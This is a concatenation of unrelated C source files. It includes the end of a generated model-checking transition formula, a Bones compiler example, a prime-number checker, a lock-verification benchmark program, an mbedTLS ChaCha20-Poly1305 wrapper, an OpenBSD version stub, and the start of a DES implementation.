_x_v1) && (_x_p4_c == 0.0)) && (( !_x_v2) && (_x_p4_l3 && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))))) || ( !((( !p4_l3) && (p4_l2 && (p4_l0 && p4_l1))) && ((delta == 0.0) && p4_evt))))) && ((((_x_v1 == 0) && (( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1))))) && ((v2 == _x_v2) && (p4_c == _x_p4_c))) || ( !((p4_l3 && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && (((((((((((((((((((((_x_p3_l3 && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && _x_p3_l1))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l1 && ( !_x_p3_l0)))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && ( !_x_p3_l1)))) || ((( !_x_p3_l3) && (_x_p3_l2 && (( !_x_p3_l0) && ( !_x_p3_l1)))) || ((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && _x_p3_l1))) || ((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l1 && ( !_x_p3_l0)))) || ((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) || (( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && ( !_x_p3_l1)))))))))))) && ((_x_p3_c <= 16.0) || ( !(((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && ( !_x_p3_l1)))) || (( !_x_p3_l3) && (_x_p3_l2 && (( !_x_p3_l0) && ( !_x_p3_l1))))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && _x_p3_l1))) || (_x_p3_l3 && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1))))))))) && ((delta <= 0.0) || (((((p3_l0 == _x_p3_l0) && (p3_l1 == _x_p3_l1)) && (p3_l2 == _x_p3_l2)) && (p3_l3 == _x_p3_l3)) && ((delta + (p3_c + (-1.0 * _x_p3_c))) == 0.0)))) && (p3_evt || (((((p3_l0 == _x_p3_l0) && (p3_l1 == _x_p3_l1)) && (p3_l2 == _x_p3_l2)) && (p3_l3 == _x_p3_l3)) && ((delta + (p3_c + (-1.0 * _x_p3_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && ( !_x_p3_l1))))) && ((v2 == _x_v2) && (_x_p3_c == 0.0)))) || ( !((( !p3_l3) && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) && ((delta == 0.0) && p3_evt))))) && ((((v2 == _x_v2) && (_x_p3_c == 0.0)) && ((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l1 && ( !_x_p3_l0)))) && (_x_v1 == 4))) || ( !((( !p3_l3) && (( !p3_l2) && (p3_l0 && ( !p3_l1)))) && ((delta == 0.0) && p3_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p3_l3) && (( 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!_x_p0_l0) && ( !_x_p0_l1)))) || ((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && _x_p0_l1))) || ((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l1 && ( !_x_p0_l0)))) || ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && ( !_x_p0_l1)))))))))))) && ((_x_p0_c <= 16.0) || ( !(((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (_x_p0_l2 && (( !_x_p0_l0) && ( !_x_p0_l1))))) || ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && _x_p0_l1))) || (_x_p0_l3 && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1))))))))) && ((delta <= 0.0) || (((((p0_l0 == _x_p0_l0) && (p0_l1 == _x_p0_l1)) && (p0_l2 == _x_p0_l2)) && (p0_l3 == _x_p0_l3)) && ((delta + (p0_c + (-1.0 * _x_p0_c))) == 0.0)))) && (p0_evt || (((((p0_l0 == _x_p0_l0) && (p0_l1 == _x_p0_l1)) && (p0_l2 == _x_p0_l2)) && (p0_l3 == _x_p0_l3)) && ((delta + (p0_c + (-1.0 * _x_p0_c))) == 0.0)))) && (((((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && ( !_x_p0_l1)))) && (v1 == 0)) && ((_x_p0_c == 0.0) && (v2 == _x_v2))) && (v1 == _x_v1)) || ( !((( !p0_l3) && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && ((((_x_p0_c == 0.0) && (v2 == _x_v2)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l1 && ( !_x_p0_l0)))) && (_x_v1 == 1))) || ( !((( !p0_l3) && (( !p0_l2) && (p0_l0 && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && (((((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && _x_p0_l1)))) && (p0_c == _x_p0_c)) && ((v2 == _x_v2) && (v1 == _x_v1))) || ( !((( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0)))) && (p0_evt && (delta == 0.0)))))) && (( !(v1 == 1)) || ( !((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && ((( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0)))) && (p0_evt && (delta == 0.0))))))) && (((v1 == 1) && ( !(p0_c <= 16.0))) || ( !((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && _x_p0_l1))) && ((( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0)))) && (p0_evt && (delta == 0.0))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (_x_p0_l2 && (( !_x_p0_l0) && ( !_x_p0_l1)))))) || ( !((( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1))) && (p0_evt && (delta == 0.0)))))) && ((v2 && (p0_c == _x_p0_c)) || ( !((p0_evt && (delta == 0.0)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && (( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1)))))))) && (((_x_p0_c == 0.0) && ( !v2)) || ( !((p0_evt && (delta == 0.0)) && ((( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1))) && (( !_x_p0_l3) && (_x_p0_l2 && (( !_x_p0_l0) && ( !_x_p0_l1))))))))) && (((_x_v2 && (( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && ( !_x_p0_l1))))) && ((_x_p0_c == 0.0) && (v1 == _x_v1))) || ( !((( !p0_l3) && (p0_l2 && (( !p0_l0) && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p0_c == _x_p0_c) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l1 && ( !_x_p0_l0))))))) || ( !((( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && (( !(v1 == 1)) || ( !((p0_evt && (delta == 0.0)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && (( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1))))))))) && ((v1 == 1) || ( !((p0_evt && (delta == 0.0)) && ((( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1)))) && (( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l1 && ( !_x_p0_l0))))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && _x_p0_l1))) && (_x_p0_c == 0.0))) || ( !((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) && (p0_evt && (delta == 0.0)))))) && ((((_x_p0_c == 0.0) && (v1 == _x_v1)) && ((_x_p0_l3 && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && ( !_x_v2))) || ( !((( !p0_l3) && (p0_l2 && (p0_l0 && p0_l1))) && (p0_evt && (delta == 0.0)))))) && ((((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && (_x_v1 == 0)) && ((v2 == _x_v2) && (p0_c == _x_p0_c))) || ( !((p0_l3 && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && ((((_x_v1 == 27) || ((_x_v1 == 26) || ((_x_v1 == 25) || ((_x_v1 == 24) || ((_x_v1 == 23) || ((_x_v1 == 22) || ((_x_v1 == 21) || ((_x_v1 == 20) || ((_x_v1 == 19) || ((_x_v1 == 18) || ((_x_v1 == 17) || ((_x_v1 == 16) || ((_x_v1 == 15) || ((_x_v1 == 14) || ((_x_v1 == 13) || ((_x_v1 == 12) || ((_x_v1 == 11) || ((_x_v1 == 10) || ((_x_v1 == 9) || ((_x_v1 == 8) || ((_x_v1 == 7) || ((_x_v1 == 6) || ((_x_v1 == 5) || ((_x_v1 == 4) || ((_x_v1 == 3) || ((_x_v1 == 2) || ((_x_v1 == 1) || (_x_v1 == 0)))))))))))))))))))))))))))) && (0.0 <= _x_delta)) && ((delta <= 0.0) || ((v2 == _x_v2) && (v1 == _x_v1))))))))))))))))))))))))))))))) && (( !(( !p26_evt) && (( !p25_evt) && (( !p24_evt) && (( !p23_evt) && (( !p22_evt) && (( !p21_evt) && (( !p20_evt) && (( !p19_evt) && (( !p18_evt) && (( !p17_evt) && (( !p16_evt) && (( !p15_evt) && (( !p14_evt) && (( !p13_evt) && (( !p12_evt) && (( !p11_evt) && (( !p10_evt) && (( !p9_evt) && (( !p8_evt) && (( !p7_evt) && (( !p6_evt) && (( !p5_evt) && (( !p4_evt) && (( !p3_evt) && (( !p2_evt) && (( !p0_evt) && ( !p1_evt)))))))))))))))))))))))))))) || ( !(delta == 0.0)))) && (((delta == _x__diverge_delta) || ( !(1.0 <= _diverge_delta))) && ((1.0 <= _diverge_delta) || ((delta + (_diverge_delta + (-1.0 * _x__diverge_delta))) == 0.0)))) && ((((((((_EL_U_5923 == (_x__EL_U_5923 || ( !(_x__EL_U_5921 || (1.0 <= _x__diverge_delta))))) && ((_EL_U_5921 == (_x__EL_U_5921 || (1.0 <= _x__diverge_delta))) && ((_EL_U_5927 == (_x__EL_U_5927 || ( !((_x_v1 == 1) || _x__EL_U_5925)))) && ((_EL_U_5925 == ((_x_v1 == 1) || _x__EL_U_5925)) && ((_EL_U_5929 == ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l1 && ( !_x_p0_l0)))) || _x__EL_U_5929)) && (_EL_U_5931 == (_x__EL_U_5931 || ( !((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l1 && ( !_x_p0_l0)))) || _x__EL_U_5929))))))))) && (_x__J5958 == (( !(((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988)) && ((((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988) || (((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) || ( !((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) || _EL_U_5929))) || _J5958))))) && (_x__J5964 == (( !(((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988)) && ((((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988) || ((( !((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) || _EL_U_5929)) || ( !(_EL_U_5931 || ( !((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) || _EL_U_5929))))) || _J5964))))) && (_x__J5969 == (( !(((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988)) && ((((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988) || (((v1 == 1) || ( !((v1 == 1) || _EL_U_5925))) || _J5969))))) && (_x__J5975 == (( !(((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988)) && ((((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988) || ((( !((v1 == 1) || _EL_U_5925)) || ( !(_EL_U_5927 || ( !((v1 == 1) || _EL_U_5925))))) || _J5975))))) && (_x__J5982 == (( !(((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988)) && ((((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988) || (((1.0 <= _diverge_delta) || ( !((1.0 <= _diverge_delta) || _EL_U_5921))) || _J5982))))) && (_x__J5988 == (( !(((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988)) && ((((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988) || ((( !((1.0 <= _diverge_delta) || _EL_U_5921)) || ( !(_EL_U_5923 || ( !((1.0 <= _diverge_delta) || _EL_U_5921))))) || _J5988))))));
p19_l1 = _x_p19_l1;
p22_evt = _x_p22_evt;
_diverge_delta = _x__diverge_delta;
p19_l0 = _x_p19_l0;
delta = _x_delta;
p19_l2 = _x_p19_l2;
v1 = _x_v1;
p23_evt = _x_p23_evt;
p19_l3 = _x_p19_l3;
p24_evt = _x_p24_evt;
p25_evt = _x_p25_evt;
p26_evt = _x_p26_evt;
v2 = _x_v2;
p9_l1 = _x_p9_l1;
p19_c = _x_p19_c;
p9_l0 = _x_p9_l0;
p9_l2 = _x_p9_l2;
p9_l3 = _x_p9_l3;
p9_c = _x_p9_c;
p20_l1 = _x_p20_l1;
p20_l0 = _x_p20_l0;
p20_l2 = _x_p20_l2;
p20_l3 = _x_p20_l3;
p10_l1 = _x_p10_l1;
p20_c = _x_p20_c;
p10_l0 = _x_p10_l0;
p10_l2 = _x_p10_l2;
p10_l3 = _x_p10_l3;
p0_l1 = _x_p0_l1;
p10_c = _x_p10_c;
p0_l0 = _x_p0_l0;
p0_l2 = _x_p0_l2;
p21_l1 = _x_p21_l1;
p21_l0 = _x_p21_l0;
p0_l3 = _x_p0_l3;
p21_l2 = _x_p21_l2;
p21_l3 = _x_p21_l3;
p0_c = _x_p0_c;
p11_l1 = _x_p11_l1;
p21_c = _x_p21_c;
p11_l0 = _x_p11_l0;
p11_l2 = _x_p11_l2;
p11_l3 = _x_p11_l3;
p1_l1 = _x_p1_l1;
p11_c = _x_p11_c;
p1_l0 = _x_p1_l0;
p22_l1 = _x_p22_l1;
p1_l2 = _x_p1_l2;
p22_l0 = _x_p22_l0;
p1_l3 = _x_p1_l3;
p22_l2 = _x_p22_l2;
p22_l3 = _x_p22_l3;
p1_c = _x_p1_c;
p12_l1 = _x_p12_l1;
p22_c = _x_p22_c;
p12_l0 = _x_p12_l0;
p12_l2 = _x_p12_l2;
p12_l3 = _x_p12_l3;
p2_l1 = _x_p2_l1;
p12_c = _x_p12_c;
p2_l0 = _x_p2_l0;
p23_l1 = _x_p23_l1;
p2_l2 = _x_p2_l2;
p23_l0 = _x_p23_l0;
p2_l3 = _x_p2_l3;
p23_l2 = _x_p23_l2;
p23_l3 = _x_p23_l3;
p2_c = _x_p2_c;
p13_l1 = _x_p13_l1;
p23_c = _x_p23_c;
p13_l0 = _x_p13_l0;
p13_l2 = _x_p13_l2;
p13_l3 = _x_p13_l3;
p3_l1 = _x_p3_l1;
p13_c = _x_p13_c;
p3_l0 = _x_p3_l0;
p24_l1 = _x_p24_l1;
p3_l2 = _x_p3_l2;
p24_l0 = _x_p24_l0;
p3_l3 = _x_p3_l3;
p24_l2 = _x_p24_l2;
p24_l3 = _x_p24_l3;
p3_c = _x_p3_c;
p14_l1 = _x_p14_l1;
p24_c = _x_p24_c;
p14_l0 = _x_p14_l0;
p14_l2 = _x_p14_l2;
p14_l3 = _x_p14_l3;
p4_l1 = _x_p4_l1;
p14_c = _x_p14_c;
p4_l0 = _x_p4_l0;
p25_l1 = _x_p25_l1;
p4_l2 = _x_p4_l2;
p25_l0 = _x_p25_l0;
p4_l3 = _x_p4_l3;
p25_l2 = _x_p25_l2;
p25_l3 = _x_p25_l3;
p4_c = _x_p4_c;
p15_l1 = _x_p15_l1;
p25_c = _x_p25_c;
p15_l0 = _x_p15_l0;
p15_l2 = _x_p15_l2;
p15_l3 = _x_p15_l3;
p5_l1 = _x_p5_l1;
p15_c = _x_p15_c;
p5_l0 = _x_p5_l0;
p26_l1 = _x_p26_l1;
p5_l2 = _x_p5_l2;
p26_l0 = _x_p26_l0;
p5_l3 = _x_p5_l3;
p26_l2 = _x_p26_l2;
p26_l3 = _x_p26_l3;
p5_c = _x_p5_c;
p16_l1 = _x_p16_l1;
p26_c = _x_p26_c;
p16_l0 = _x_p16_l0;
p16_l2 = _x_p16_l2;
p16_l3 = _x_p16_l3;
p6_l1 = _x_p6_l1;
p16_c = _x_p16_c;
p6_l0 = _x_p6_l0;
p6_l2 = _x_p6_l2;
_J5988 = _x__J5988;
p6_l3 = _x_p6_l3;
_J5982 = _x__J5982;
_J5975 = _x__J5975;
_J5969 = _x__J5969;
_J5964 = _x__J5964;
_J5958 = _x__J5958;
_EL_U_5921 = _x__EL_U_5921;
p6_c = _x_p6_c;
_EL_U_5923 = _x__EL_U_5923;
_EL_U_5925 = _x__EL_U_5925;
p17_l1 = _x_p17_l1;
_EL_U_5927 = _x__EL_U_5927;
p17_l0 = _x_p17_l0;
_EL_U_5929 = _x__EL_U_5929;
p17_l2 = _x_p17_l2;
_EL_U_5931 = _x__EL_U_5931;
p17_l3 = _x_p17_l3;
p7_l1 = _x_p7_l1;
p17_c = _x_p17_c;
p7_l0 = _x_p7_l0;
p7_l2 = _x_p7_l2;
p7_l3 = _x_p7_l3;
p1_evt = _x_p1_evt;
p0_evt = _x_p0_evt;
p2_evt = _x_p2_evt;
p3_evt = _x_p3_evt;
p4_evt = _x_p4_evt;
p7_c = _x_p7_c;
p5_evt = _x_p5_evt;
p18_l1 = _x_p18_l1;
p6_evt = _x_p6_evt;
p18_l0 = _x_p18_l0;
p7_evt = _x_p7_evt;
p18_l2 = _x_p18_l2;
p8_evt = _x_p8_evt;
p18_l3 = _x_p18_l3;
p9_evt = _x_p9_evt;
p10_evt = _x_p10_evt;
p11_evt = _x_p11_evt;
p12_evt = _x_p12_evt;
p8_l1 = _x_p8_l1;
p18_c = _x_p18_c;
p8_l0 = _x_p8_l0;
p13_evt = _x_p13_evt;
p14_evt = _x_p14_evt;
p8_l2 = _x_p8_l2;
p15_evt = _x_p15_evt;
p8_l3 = _x_p8_l3;
p16_evt = _x_p16_evt;
p17_evt = _x_p17_evt;
p18_evt = _x_p18_evt;
p19_evt = _x_p19_evt;
p20_evt = _x_p20_evt;
p8_c = _x_p8_c;
p21_evt = _x_p21_evt;
}
}
|
the_stack_data/93197.c | //
// This file is part of the Bones source-to-source compiler examples. This C-code
// example is meant to illustrate the use of Bones. For more information on Bones
// use the contact information below.
//
// == More information on Bones
// Contact............Cedric Nugteren <[email protected]>
// Web address........http://parse.ele.tue.nl/bones/
//
// == File information
// Filename...........element/example11.c
// Author.............Cedric Nugteren
// Last modified on...16-April-2012
//
#include <stdio.h>
// This is 'example11', demonstrating an inner-loop which is dependent on an outer-loop variable and a classification of the inner-loop only
int main(void) {
int i,j;
// Declare input/output arrays
int A[128][128];
int B[128][128];
// Set the input data
for(i=0;i<128;i++) {
for(j=0;j<128;j++) {
A[i][j] = i+j;
B[i][j] = 999;
}
}
// Perform the computation
#pragma scop
{
#pragma species kernel A[0:127,0:127]|element -> B[0:127,0:127]|element
for (i = 0; i < 128; i++) {
for (j = i; j < 128; j++) {
B[i][j] = 2 * A[i][j];
}
}
#pragma species endkernel example11_k1
}
#pragma endscop
// Clean-up and exit the function
fflush(stdout);
return 0;
}
|
the_stack_data/72759.c | #define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdbool.h>
int main(void) {
//약수를 전부 출력하는 프로그램
unsigned num;
bool isPrime = true;
scanf("%u", &num);
for (unsigned i = 2; i < num; i++) {
if (num % i == 0){
isPrime = false;
printf("%u is divisible by %d\n", num, i);
}
}
if (isPrime)
printf("%u is a prime number.\n", num);
else
printf("%u is not a prime number.\n", num);
} |
the_stack_data/26698941.c | extern void abort(void);
extern void __assert_fail(const char *, const char *, unsigned int, const char *) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
void reach_error() { __assert_fail("0", "test_locks_12.c", 3, "reach_error"); }
extern int __VERIFIER_nondet_int();
int main()
{
int p1 = __VERIFIER_nondet_int(); // condition variable
int lk1; // lock variable
int p2 = __VERIFIER_nondet_int(); // condition variable
int lk2; // lock variable
int p3 = __VERIFIER_nondet_int(); // condition variable
int lk3; // lock variable
int p4 = __VERIFIER_nondet_int(); // condition variable
int lk4; // lock variable
int p5 = __VERIFIER_nondet_int(); // condition variable
int lk5; // lock variable
int p6 = __VERIFIER_nondet_int(); // condition variable
int lk6; // lock variable
int p7 = __VERIFIER_nondet_int(); // condition variable
int lk7; // lock variable
int p8 = __VERIFIER_nondet_int(); // condition variable
int lk8; // lock variable
int p9 = __VERIFIER_nondet_int(); // condition variable
int lk9; // lock variable
int p10 = __VERIFIER_nondet_int(); // condition variable
int lk10; // lock variable
int p11 = __VERIFIER_nondet_int(); // condition variable
int lk11; // lock variable
int p12 = __VERIFIER_nondet_int(); // condition variable
int lk12; // lock variable
int cond;
while(1) {
cond = __VERIFIER_nondet_int();
if (cond == 0) {
goto out;
} else {}
lk1 = 0; // initially lock is open
lk2 = 0; // initially lock is open
lk3 = 0; // initially lock is open
lk4 = 0; // initially lock is open
lk5 = 0; // initially lock is open
lk6 = 0; // initially lock is open
lk7 = 0; // initially lock is open
lk8 = 0; // initially lock is open
lk9 = 0; // initially lock is open
lk10 = 0; // initially lock is open
lk11 = 0; // initially lock is open
lk12 = 0; // initially lock is open
// lock phase
if (p1 != 0) {
lk1 = 1; // acquire lock
} else {}
if (p2 != 0) {
lk2 = 1; // acquire lock
} else {}
if (p3 != 0) {
lk3 = 1; // acquire lock
} else {}
if (p4 != 0) {
lk4 = 1; // acquire lock
} else {}
if (p5 != 0) {
lk5 = 1; // acquire lock
} else {}
if (p6 != 0) {
lk6 = 1; // acquire lock
} else {}
if (p7 != 0) {
lk7 = 1; // acquire lock
} else {}
if (p8 != 0) {
lk8 = 1; // acquire lock
} else {}
if (p9 != 0) {
lk9 = 1; // acquire lock
} else {}
if (p10 != 0) {
lk10 = 1; // acquire lock
} else {}
if (p11 != 0) {
lk11 = 1; // acquire lock
} else {}
if (p12 != 0) {
lk12 = 1; // acquire lock
} else {}
// unlock phase
if (p1 != 0) {
if (lk1 != 1) goto ERROR; // assertion failure
lk1 = 0;
} else {}
if (p2 != 0) {
if (lk2 != 1) goto ERROR; // assertion failure
lk2 = 0;
} else {}
if (p3 != 0) {
if (lk3 != 1) goto ERROR; // assertion failure
lk3 = 0;
} else {}
if (p4 != 0) {
if (lk4 != 1) goto ERROR; // assertion failure
lk4 = 0;
} else {}
if (p5 != 0) {
if (lk5 != 1) goto ERROR; // assertion failure
lk5 = 0;
} else {}
if (p6 != 0) {
if (lk6 != 1) goto ERROR; // assertion failure
lk6 = 0;
} else {}
if (p7 != 0) {
if (lk7 != 1) goto ERROR; // assertion failure
lk7 = 0;
} else {}
if (p8 != 0) {
if (lk8 != 1) goto ERROR; // assertion failure
lk8 = 0;
} else {}
if (p9 != 0) {
if (lk9 != 1) goto ERROR; // assertion failure
lk9 = 0;
} else {}
if (p10 != 0) {
if (lk10 != 1) goto ERROR; // assertion failure
lk10 = 0;
} else {}
if (p11 != 0) {
if (lk11 != 1) goto ERROR; // assertion failure
lk11 = 0;
} else {}
if (p12 != 0) {
if (lk12 != 1) goto ERROR; // assertion failure
lk12 = 0;
} else {}
}
out:
return 0;
ERROR: {reach_error();abort();}
return 0;
}
|
the_stack_data/176705461.c | /*
* Copyright(c) 2021 Fraunhofer AISEC
* Fraunhofer-Gesellschaft zur Foerderung der angewandten Forschung e.V.
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the License); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an AS IS BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifdef MBEDTLS_CONFIG_FILE
#include MBEDTLS_CONFIG_FILE
#include <stdint.h>
#include "lzport_debug_output.h"
#include "mbedtls/chachapoly.h"
#include "lz_chacha20_poly1305.h"
#if defined(MBEDTLS_CHACHAPOLY_C)
#define AUTHTAG_LEN 16
#define NONCE_LEN 12
#define encrypted_len(plain_len) ((plain_len) + AUTHTAG_LEN)
int lz_chacha20_poly1305_encrypt(const unsigned char *input, uint32_t input_len,
unsigned char *output, uint32_t output_len, uint8_t *nonce,
size_t nonce_len, const uint8_t *aad, size_t aad_len, uint8_t *key)
{
int res;
mbedtls_chachapoly_context ctx;
// Check lengths
if (encrypted_len(input_len) != output_len) {
dbgprint(DBG_ERR, "ERROR: Specified lengthts not correct (%d/%d)\n", input_len, output_len);
return -1;
}
if (nonce_len != NONCE_LEN) {
dbgprint(DBG_ERR, "ERROR: Specified nonce length not correct (must be 12)\n");
return -1;
}
mbedtls_chachapoly_init(&ctx);
res = mbedtls_chachapoly_setkey(&ctx, key);
if (res != 0) {
dbgprint(DBG_ERR, "ERROR: Failed to set chacha20-poly1305 key\r\n");
return res;
}
// In our wrapper, the 16 byte authentication tag is appended to the encrypted output
res = mbedtls_chachapoly_encrypt_and_tag(&ctx, input_len, nonce, aad, aad_len, input, output,
output + input_len);
if (res != 0) {
dbgprint(DBG_ERR, "ERROR: Failed to encrypt with chacha20-poly1305\r\n");
return res;
}
mbedtls_chachapoly_free(&ctx);
return res;
}
int lz_chacha20_poly1305_decrypt(const uint8_t *input, const uint32_t input_len, uint8_t *output,
const uint32_t output_len, uint8_t *nonce, size_t nonce_len,
const uint8_t *aad, size_t aad_len, uint8_t *key)
{
int res;
mbedtls_chachapoly_context ctx;
// Check lengths
if (input_len != encrypted_len(output_len)) {
dbgprint(DBG_ERR, "Specified lengthts not correct (%d/%d)\n", input_len, output_len);
return -1;
}
if (nonce_len != NONCE_LEN) {
dbgprint(DBG_ERR, "ERROR: Specified nonce length not correct (must be 12)\n");
return -1;
}
res = mbedtls_chachapoly_setkey(&ctx, key);
if (res != 0) {
dbgprint(DBG_ERR, "ERROR: Failed to set chacha20-poly1305 key\r\n");
return res;
}
// In our wrapper, the 16 byte authentication tag is appended to the encrypted input
res = mbedtls_chachapoly_auth_decrypt(&ctx, output_len, nonce, aad, aad_len, input + output_len,
input, output);
if (res != 0) {
dbgprint(DBG_ERR, "ERROR: Failed to decrypt with chacha20-poly1305: -0x%x\r\n", -res);
return res;
}
mbedtls_chachapoly_free(&ctx);
return res;
}
#endif
#endif /* MBEDTLS_CONFIG_FILE */
|
the_stack_data/54397.c | /* $OpenBSD: version.c,v 1.1 2001/06/26 21:58:01 smurph Exp $ */
/*
* make a random change to this file when you want the bootblock
* revision to increase. like change this y to an x, or something.
*/
char *version = "$Revision: 1.1 $";
|
the_stack_data/1104139.c |
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// All of the numbers in the permutation tables are 0-indexed. However, most
// DES references show them 1-indexed!
// Applied once at the beginning of the algorithm.
static const unsigned char initial_permutation_left[32] = {
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7
};
static const unsigned char initial_permutation_right[32] = {
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
};
// Inverse of initial_permutation. Applied once at the end of the algorithm.
static const unsigned char final_permutation[64] = {
7, 39, 15, 47, 23, 55, 31, 63,
6, 38, 14, 46, 22, 54, 30, 62,
5, 37, 13, 45, 21, 53, 29, 61,
4, 36, 12, 44, 20, 52, 28, 60,
3, 35, 11, 43, 19, 51, 27, 59,
2, 34, 10, 42, 18, 50, 26, 58,
1, 33, 9, 41, 17, 49, 25, 57,
0, 32, 8, 40, 16, 48, 24, 56
};
// Applied to the half-block at the beginning of the Fiestel function.
static const unsigned char expansion_permutation[48] = {
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
};
// Applied at the end of the Feistel function.
static const unsigned char feistel_end_permutation[32] = {
15, 6, 19, 20, 28, 11, 27, 16,
0, 14, 22, 25, 4, 17, 30, 9,
